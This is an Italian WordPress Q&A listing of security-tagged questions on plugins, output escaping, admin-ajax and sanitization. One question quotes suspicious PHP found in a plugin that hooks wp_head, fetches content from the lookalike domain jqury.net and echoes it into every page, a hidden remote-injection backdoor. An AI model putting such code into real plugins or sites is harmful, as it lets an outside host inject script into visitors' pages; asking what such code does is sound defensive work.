Domande taggate «security»

Rafforzare temi, plugin e installazione di base per prevenire le intrusioni.

6
I plugin di Wordpress sono essenziali?
Sono nuovo di WordPress. Di recente ho letto un articolo su come gli hacker possono sfruttare le vulnerabilità nei plugin. Varie fonti come Google Pagespeed mi hanno anche dissuaso dall'uso dei plugin o almeno per ridurlo al minimo. Personalmente, cerco anche di evitare i plug-in perché mi sento più in …
19 plugins  security 
2
L'ho trovato in un plugin. Che cosa fa? è pericoloso?
L'ho trovato in un plugin. Che cosa fa? è pericoloso? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }
3
Dovrei sfuggire a wordpress come the_title, the_excerpt, the_content
Ho guardato il codice ma non sono riuscito a scappare da funzioni come the_title the_content the_excerptecc. Potrei non leggerlo nel modo giusto. Devo sfuggire a queste funzioni nello sviluppo di temi come: esc_html ( the_title () ) Modifica: come sottolineato nelle risposte sotto il codice sopra è sbagliato a prescindere …
4
Come funziona admin-ajax.php?
Stiamo riscontrando alcuni problemi con uno sviluppatore esterno. Vogliamo limitare l'accesso al wp-adminsito solo all'accesso interno (tramite VPN ). Semplicemente, non verrà attaccato da utenti esterni. Possiamo enumerare gli amministratori dal sito e non vogliamo che vengano phishing. Il nostro sviluppatore sta dicendo che non possiamo farlo perché il sito …
14 admin  ajax  security 
1
Quanto è sicuro / igienizzato wp_insert_posts ()?
Guardando il Codice per wp_insert_post () si afferma che questa funzione "... sanifica le variabili, esegue alcuni controlli, riempie le variabili mancanti come data / ora, ecc." (EDIT: ho aggiornato la voce del Codex per includere un esempio più solido che include sicurezza, post meta e assegnazione di categorie) Mi …
4
Perché dovrei usare esc_url?
Questa cosa rende difficile la mia codifica. Il codice Wordpress spiega l'uso di esc_url parlando vagamente di sicurezza. Ma vale davvero la pena? Ad esempio, qual è il vantaggio pratico e importante per la sicurezza che utilizza <?php echo esc_url( home_url( '/' ) ); ?> invece di <?php echo home_url() …
12 security 
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.